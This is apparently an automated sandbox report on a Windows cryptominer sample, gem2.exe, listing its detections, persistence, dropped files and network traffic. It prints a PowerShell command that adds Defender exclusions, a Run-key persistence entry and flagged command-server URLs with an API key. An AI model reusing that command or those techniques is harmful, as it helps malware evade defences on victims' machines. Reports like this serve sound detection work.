Author: David Burkett, @signalblur: Data: Command: C:\Windows\System32\svchost.exe, CommandLine: C:\Windows\System32\svchost.exe, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\gem2.exe", ParentImage: C:\Users\user\Desktop\gem2.exe, ParentProcessId: 2692, ParentProcessName: gem2.exe, ProcessCommandLine: C:\Windows\System32\svchost.exe, ProcessId: 7628, ProcessName: svchost.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\gem2.exe, ProcessId: 2692, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft-f4855f59e0

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Uncommon Svchost Parent Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\System32\svchost.exe, CommandLine: C:\Windows\System32\svchost.exe, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\gem2.exe", ParentImage: C:\Users\user\Desktop\gem2.exe, ParentProcessId: 2692, ParentProcessName: gem2.exe, ProcessCommandLine: C:\Windows\System32\svchost.exe, ProcessId: 7628, ProcessName: svchost.exe

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: curl -s https://api.ipify.org, CommandLine: curl -s https://api.ipify.org, CommandLine|base64offset|contains: r, Image: C:\Windows\System32\curl.exe, NewProcessName: C:\Windows\System32\curl.exe, OriginalFileName: C:\Windows\System32\curl.exe, ParentCommandLine: C:\Windows\System32\svchost.exe, ParentImage: C:\Windows\System32\svchost.exe, ParentProcessId: 7628, ParentProcessName: svchost.exe, ProcessCommandLine: curl -s https://api.ipify.org, ProcessId: 2236, ProcessName: curl.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Users\user~1\AppData\Local\Temp\WinDrive-f4855f59e0.exe" , CommandLine: "C:\Users\user~1\AppData\Local\Temp\WinDrive-f4855f59e0.exe" , CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\WinDrive-f4855f59e0.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\WinDrive-f4855f59e0.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\WinDrive-f4855f59e0.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 8104, ProcessCommandLine: "C:\Users\user~1\AppData\Local\Temp\WinDrive-f4855f59e0.exe" , ProcessId: 8168, ProcessName: WinDrive-f4855f59e0.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Add-MpPreference -ExclusionExtension '.exe'; Add-MpPreference -ExclusionProcess 'svchost.exe'", CommandLine: powershell.exe -Command "Add-MpPreference -ExclusionExtension '.exe'; Add-MpPreference -ExclusionProcess 'svchost.exe'", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\gem2.exe", ParentImage: C:\Users\user\Desktop\gem2.exe, ParentProcessId: 2692, ParentProcessName: gem2.exe, ProcessCommandLine: powershell.exe -Command "Add-MpPreference -ExclusionExtension '.exe'; Add-MpPreference -ExclusionProcess 'svchost.exe'", ProcessId: 4684, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe, CommandLine: C:\Windows\System32\svchost.exe, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\gem2.exe", ParentImage: C:\Users\user\Desktop\gem2.exe, ParentProcessId: 2692, ParentProcessName: gem2.exe, ProcessCommandLine: C:\Windows\System32\svchost.exe, ProcessId: 7628, ProcessName: svchost.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://pastesnap.com/API/cGFzdGVzbmFwEP.phpur32.dllP	Avira URL Cloud: Label: malware
Source: https://pastesnap.com/API/cGFzdGVzbmFwGUS.php?api_key=ut1bkd3rwa55zy8mt1hc&id=21&settings_type=cpu	Avira URL Cloud: Label: malware
Source: https://pastesnap.com/(W	Avira URL Cloud: Label: malware
Source: https://pastesnap.com/API/cGFzdGVzbmFwEP.phpPKU2U	Avira URL Cloud: Label: malware
Source: https://pastesnap.com/API/cGFzdGVzbmFwEP.phpapi_key=ut1bkd3rwa55zy8mt1hc&id=21&settings_type=cpu	Avira URL Cloud: Label: malware
Source: https://pastesnap.com/STB/cGFzdGVzbmFwM.txt/	Avira URL Cloud: Label: malware
Source: https://pastesnap.com/STB/cGFzdGVzbmFwM.txt5	Avira URL Cloud: Label: malware
Source: https://pastesnap.com/STB/cGFzdGVzbmFwR.txt	Avira URL Cloud: Label: malware
Source: https://pastesnap.com/API/cGFzdGVzbmFwEP.phpYg==M.txtsage.cfdapi_key=ut1bkd3rwa55zy8mt1hc&id=21&sett	Avira URL Cloud: Label: malware
Source: https://pastesnap.com/API/cGFzdGVzbmFwEP.php	Avira URL Cloud: Label: malware
Source: https://pastesnap.com/API/cGFzdGVzbmFwGUS.php?api_key=ut1bkd3rwa55zy8mt1hc&id=21&settings_type=cpu4c	Avira URL Cloud: Label: malware
Source: https://pastesnap.com/STB/cGFzdGVzbmFwM.txt	Avira URL Cloud: Label: malware
Source: https://pastesnap.com/API/cGFzdGVzbmFwEP.phpc78da9f679b97f91d60	Avira URL Cloud: Label: malware
Source: https://pastesnap.com/0xY	Avira URL Cloud: Label: malware
Source: https://pastesnap.com/API/cGFzdGVzbmFwGUS.php?api_key=ut1bkd3rwa55zy8mt1hc&id=21&settings_type=cpueb	Avira URL Cloud: Label: malware
Source: https://pastesnap.com/Kh	Avira URL Cloud: Label: malware
Source: https://pastesnap.com/API/cGFzdGVzbmFwEP.phpc78da9f679b97f91d60https://pastesnap.com/API/cGFzdGVzbmF	Avira URL Cloud: Label: malware

Multi AV Scanner detection for dropped file

Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	ReversingLabs: Detection: 52%
Source: C:\Users\user\AppData\Local\Temp\WinDrive-f4855f59e0.exe	ReversingLabs: Detection: 52%
Source: C:\Windows\SysWOW64\$LMX-f4855f59e0.exe	ReversingLabs: Detection: 52%
Source: C:\Windows\System32\System-f4855f59e0.exe	ReversingLabs: Detection: 52%

Multi AV Scanner detection for submitted file

Source: gem2.exe	ReversingLabs: Detection: 52%
Source: gem2.exe	Virustotal: Detection: 62%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\WinDrive-f4855f59e0.exe	Joe Sandbox ML: detected
Source: C:\Windows\System32\System-f4855f59e0.exe	Joe Sandbox ML: detected
Source: C:\Windows\SysWOW64\$LMX-f4855f59e0.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: gem2.exe

Joe Sandbox ML: detected

Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: 14_2_00007FF6A54A51C0 Concurrency::details::WorkQueue::IsStructuredEmpty,CryptStringToBinaryA,Concurrency::details::_CriticalNonReentrantLock::_Scoped_lock::~_Scoped_lock,Concurrency::details::WorkQueue::IsStructuredEmpty,CryptStringToBinaryA,	14_2_00007FF6A54A51C0
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173D01B04A6 wcschr,wcsncmp,wcsncmp,wcsncmp,wcsncmp,wcsncmp,wcsncmp,wcsncmp,wcsncmp,wcschr,_wcsdup,CertOpenStore,GetLastError,free,free,free,free,CryptStringToBinaryW,free,CertFindCertificateInStore,free,calloc,CertFreeCertificateContext,CertCloseStore,free,fseek,ftell,fread,fclose,fseek,malloc,fclose,free,malloc,MultiByteToWideChar,PFXImportCertStore,free,free,GetLastError,CertFindCertificateInStore,GetLastError,CertCloseStore,strchr,strncmp,strncmp,strncmp,strncmp,strncmp,strtol,strchr,strncmp,strncmp,strncmp,strchr,CertFreeCertificateContext,free,free,	16_2_00000173D01B04A6
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173D01974E0 CryptAcquireContextW,CryptCreateHash,CryptReleaseContext,	16_2_00000173D01974E0
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173D0197560 CryptGetHashParam,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,	16_2_00000173D0197560
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173D01975F0 CryptAcquireContextW,CryptCreateHash,CryptReleaseContext,CryptHashData,CryptGetHashParam,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,	16_2_00000173D01975F0
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173D01816F0 CryptAcquireContextW,CryptCreateHash,CryptReleaseContext,CryptHashData,CryptGetHashParam,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,	16_2_00000173D01816F0
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173D0181820 CryptAcquireContextW,CryptCreateHash,CryptReleaseContext,	16_2_00000173D0181820
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173D01818B0 CryptGetHashParam,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,	16_2_00000173D01818B0
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173D01818A0 CryptHashData,	16_2_00000173D01818A0
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173D01B28A0 CertGetNameStringW,malloc,CertFindExtension,CryptDecodeObjectEx,free,free,CertFreeCertificateContext,	16_2_00000173D01B28A0
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173D0162B80 CryptAcquireContextW,CryptImportKey,CryptReleaseContext,CryptEncrypt,CryptDestroyKey,CryptReleaseContext,	16_2_00000173D0162B80
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173D01B2CC0 memcmp,memcmp,CryptQueryObject,CertAddCertificateContextToStore,CertFreeCertificateContext,GetLastError,GetLastError,	16_2_00000173D01B2CC0
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173D01AFF30 memset,CryptAcquireContextW,CryptCreateHash,CryptHashData,CryptGetHashParam,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,	16_2_00000173D01AFF30
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173D01B31F0 CertGetNameStringW,CertFindExtension,CryptDecodeObjectEx,	16_2_00000173D01B31F0
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: 17_2_00007FF7D16351C0 Concurrency::details::WorkQueue::IsStructuredEmpty,CryptStringToBinaryA,Concurrency::details::_CriticalNonReentrantLock::_Scoped_lock::~_Scoped_lock,Concurrency::details::WorkQueue::IsStructuredEmpty,CryptStringToBinaryA,	17_2_00007FF7D16351C0
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 25_2_00401000 CryptAcquireContextW,CryptGenRandom,CryptReleaseContext,	25_2_00401000

Source: C:\Windows\System32\svchost.exe	Code function: -----BEGIN PUBLIC KEY-----		16_2_00000173D01B4560
Source: svchost.exe	Binary or memory string: -----BEGIN PUBLIC KEY-----

Source: C:\Windows\System32\svchost.exe

Code function: mov dword ptr [rbp+04h], 424D53FFh

16_2_00000173D0198DE0

Bitcoin Miner

Found strings related to Crypto-Mining

Source: svchost.exe, 00000010.00000002.2547849226.00000173CD257000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: --url stratum+tcp://
Source: svchost.exe, 00000010.00000002.2547849226.00000173CD257000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: --url stratum+tcp://

Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:49814 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:49828 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:49836 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:49842 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.12.205:443 -> 192.168.2.7:49847 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:49850 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:49870 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:49887 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:49899 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:49926 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:49936 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:49957 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:49977 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:49994 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50010 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50030 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50046 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50066 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50083 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50099 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50120 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50136 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50157 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50174 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50194 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50212 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50223 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50234 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50245 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50256 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50267 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50280 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50291 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50302 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50313 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50324 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50335 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50346 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50357 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50368 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50379 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50390 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50401 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50412 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50423 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50434 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50445 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50456 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50467 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50478 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50489 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50500 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50512 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50523 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50534 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50547 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50554 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50573 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50574 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50596 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50595 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50614 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.172:443 -> 192.168.2.7:50621 version: TLS 1.2

Source: gem2.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\User\vcpkg\buildtrees\jsoncpp\x64-windows-rel\bin\jsoncpp.pdb source: svchost.exe, 00000010.00000002.2552768573.00000173CDFA3000.00000002.10000000.00040000.00000000.sdmp
Source:	Binary string: d:\agent\_work\7\s\\binaries\amd64ret\bin\amd64\\vcruntime140_1.amd64.pdb source: svchost.exe, 00000010.00000002.2553572741.00000173CDFF5000.00000002.10000000.00040000.00000000.sdmp
Source:	Binary string: d:\agent\_work\2\s\\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: svchost.exe, 00000010.00000002.2553168813.00000173CDFE0000.00000002.10000000.00040000.00000000.sdmp
Source:	Binary string: C:\Users\User\vcpkg\buildtrees\jsoncpp\x64-windows-rel\bin\jsoncpp.pdb%%" source: svchost.exe, 00000010.00000002.2552768573.00000173CDFA3000.00000002.10000000.00040000.00000000.sdmp
Source:	Binary string: d:\agent\_work\1\s\\binaries\amd64ret\bin\amd64\\msvcp140.amd64.pdb source: svchost.exe, 00000010.00000002.2556090829.00000173CFC55000.00000002.10000000.00040000.00000000.sdmp
Source:	Binary string: C:\Users\User\vcpkg\buildtrees\zlib\x64-windows-rel\zlib.pdb## source: svchost.exe, 00000010.00000002.2554832457.00000173CF9BF000.00000002.10000000.00040000.00000000.sdmp
Source:	Binary string: C:\Users\User\vcpkg\buildtrees\openssl\x64-windows-rel\libcrypto-3-x64.pdb source: svchost.exe, 00000010.00000002.2557783221.00000173CFFDA000.00000002.10000000.00040000.00000000.sdmp
Source:	Binary string: C:\Users\User\vcpkg\buildtrees\curl\x64-windows-rel\lib\libcurl.pdb source: svchost.exe, 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmp
Source:	Binary string: C:\Users\User\vcpkg\buildtrees\zlib\x64-windows-rel\zlib.pdb source: svchost.exe, 00000010.00000002.2554832457.00000173CF9BF000.00000002.10000000.00040000.00000000.sdmp

Source: C:\Windows\SysWOW64\explorer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer32	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Elevation	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer32	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Elevation	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
